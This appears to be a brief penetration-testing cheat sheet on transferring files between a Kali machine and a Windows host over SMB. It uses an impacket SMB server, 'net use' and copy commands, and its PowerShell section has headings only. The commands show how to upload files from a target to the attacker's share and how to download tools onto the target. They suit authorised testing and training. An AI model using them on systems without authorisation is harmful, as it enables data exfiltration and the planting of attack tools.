githubEdit

SMB Share

1) On Kali, create an SMB Server using impacket

impacket-smbserver -smb2support <share_name> <directory>

2) Transfer files using the copy command on Windows machine

Map the share

net use Z: \\<Kali-IP>\<share-name> /user:kali 'root'

Interact with the share

dir Z:\
dir Z:\file.txt
copy C:\Users\USER\file.txt Z:\
copy Z:\tool.exe C:\temp\tool.exe

Download:

copy \\<Kali-IP>\<share_name>\tool.exe

Upload:

copy notes.txt \\<Kali-IP>\<share_name>\

3) PowerShell

SmbShare Module

Disconnect the share

PSDrive Cmdlets

Map the share anonymously

Map the share with credentials

Disconnect the share

Interacting with the share

Last updated